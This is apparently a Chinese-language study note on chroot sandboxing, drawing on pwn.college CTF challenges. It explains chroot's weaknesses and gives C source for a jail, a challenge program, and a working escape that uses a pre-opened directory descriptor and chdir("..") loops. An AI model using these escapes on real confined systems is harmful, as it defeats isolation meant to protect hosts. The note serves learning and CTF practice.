前言
参考:
https://wsxk.github.io/sandbox_escape/
http://maskray.me/blog/2011-08-16-break-out-of-chroot
https://xuanxuanblingbling.github.io/ctf/pwn/2019/10/15/sandbox/
https://juejin.cn/post/6844903592466317319
chroot
一个传统的沙盒措施
chroot 会修改 / 对于一个进程(包括其子进程)的含义
chroot("/tmp/jail");会让进程认为 /tmp/jail(操作系统中的)就是自己的 / 目录,并且 /tmp/jail/.. 指向 /tmp/jail
不过实际上这里 chroot 并没有禁止系统调用,也没有其他隔离功能,只是修改了根目录的位置
使用
- chroot 系统调用执行时需要 privilege,一般情况下需要 root 权限,所以执行时若不是 root 用户,需要执行 - sudo
- 被执行的命令或程序,需要在被限制的目录下,如 - sudo chroot /tmp /bin/bash,这种情况下,在 /tmp/bin 目录中需要有bash文件- mkdir bin cp /bin/bash /tmp/jail/bin
- 被执行程序,需要是静态编译好的,否则,需要把动态链接所需的所有库都放入jail当中 - 使用 - ldd查看所需的动态链接库,然后依次复制过来- ldd bin/bash mkdir lib64 mkdir -p lib/x86_64-linux-gnu cp /lib64/ld-linux-x86-64.so.2 lib64 cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/ cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/ cp /lib/x86_64-linux-gnu/libtinfo.so.6 lib/x86_64-linux-gnu/- 可以考虑使用 busybox(集成了很多常见的 unix 命令):https://busybox.net/ 
- 进入沙盒 - sudo chroot /tmp/jail /bin/bash - 执行 exit 可以退出环境 
缺点
- chroot不会对原本已经开启的文件描述符等系统资源做限制- int open(char *pathname, int flags); int openat(int dirfd, char *pathname, int flags); int execve(char *pathname, char **argv, char **envp); int execveat(int dirfd, char *pathname, char **argv, char **envp, int flags);- 与 open 和 execve 类似, Linux 还有 - openat和- execveat的系统调用- dirfd能表示为任何一个打开着的目录文件描述符, 或者是特殊值 AT_FDCWD (在linux代表的是当前工作目录)- 注意: - chroot()不会改变当前工作目录
- chroot("/tmp/jail")不能通过- cd (chdir())来进入jail,需要显式调用- chdir("/")才行
- 内核并不会记得程序已经在一个 jail 当中,也就是说,你可以通过再使用一次 - chroot("/")来跳出 jail(当然这要求进程有 CAP_SYS_CHROOT 权限,通常就是 root)
- 除非 chroot 被禁用, - euid为0(即具备root或suid)的程序可以随时跳出jail
- echo $$能打印当前 shell 的进程id,可以开启其他终端来 kill 掉 jail 的运行(- echo是 shell 内建命令)
- chroot 不隔离网络,那么可以在 chroot 里下载需要的工具 
C语言编写chroot sandbox
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main() {
    char *sandbox_dir = "/tmp/jail";
    // 创建沙盒目录
    if (mkdir(sandbox_dir, 0755) == -1) {
        perror("mkdir");
        exit(EXIT_FAILURE);
    }
    // 设置沙盒根目录
    if (chroot(sandbox_dir) == -1) {
        perror("chroot");
        exit(EXIT_FAILURE);
    }
    // 设置根目录为当前工作目录
    if (chdir("/") == -1) {
        perror("chdir");
        exit(EXIT_FAILURE);
    }
    // 在沙盒中运行命令
    system("/bin/bash");
    return 0;
}逃逸
相对路径逃逸
chroot是改变了/ 在程序的根目录,这意味着绝对路径的访问会被限制
但是相对路径(这取决于你是在哪个目录下运行程序的)是可以绕过这个机制的。如果程序的当前工作目录没有被改变(即没有调用chdir("/")的话),这个方法大有可为
对于以下sandbox:https://github.com/pwncollege/challenges/blob/master/babyjail/level1/0/babyjail_level1.c
#define _GNU_SOURCE 1
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
int main(int argc, char **argv, char **envp)
{
    assert(argc > 0);
    printf("###\n");
    printf("### Welcome to %s!\n", argv[0]);
    printf("###\n");
    printf("\n");
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 1);
    puts("This challenge will chroot into a jail in /tmp/jail-XXXXXX. You will be able to easily read a fake flag file inside this");
    puts("jail, not the real flag file outside of it. If you want the real flag, you must escape.\n");
    puts("The only thing you can do in this challenge is read out one single file, as specified by the first argument to the");
    puts("program (argv[1]).\n");
    assert(argc > 1);
    char jail_path[] = "/tmp/jail-XXXXXX";
    assert(mkdtemp(jail_path) != NULL);
    printf("Creating a jail at `%s`.\n", jail_path);
    assert(chroot(jail_path) == 0);
    int fffd = open("/flag", O_WRONLY | O_CREAT);
    write(fffd, "FLAG{FAKE}", 10);
    close(fffd);
    printf("Sending the file at `%s` to stdout.\n", argv[1]);
    sendfile(1, open(argv[1], 0), 0, 128);
}设置 chroot 路径在 /tmp/jail-XXXXXX,但是没有设置 chdir 工作目录,此时内核中的 CWD 不属于 jail 及其子目录导致存在逃逸
这样子直接用..向上逃逸即可

此时:
1. 真flag 位于 /flag
2. 假flag 位于 /tmp/jail-xxxxxx/flag
3. 程序的当前工作目录是 /tmp/sandbox利用chroot之前打开的目录/文件描述符实现逃逸
#include <fcntl.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
    int fd = open(".", O_RDONLY), i; // 打开一个 jail 外的文件描述符,可以通过 fd 指向的目录路径访问 chroot 之外的文件
    mkdir("tempdir", 0755);
    if (fd == -1)
        return 1;
    if (chroot("tempdir") == -1)
        return 1; // chroot
    if (fchdir(fd) == -1)
        return 1;              // 脱离
    for (i = 0; i < 1024; i++) // 回到原先的root目录。这里绝对不能使用`/`,只能逐步上移
        chdir("..");
    if (chroot(".") == -1)
        return 1; // 若是特权进程,则可进一步,把root设回去;不是的话也足以访问jail外的文件
    system("ls");
    return 0;
}
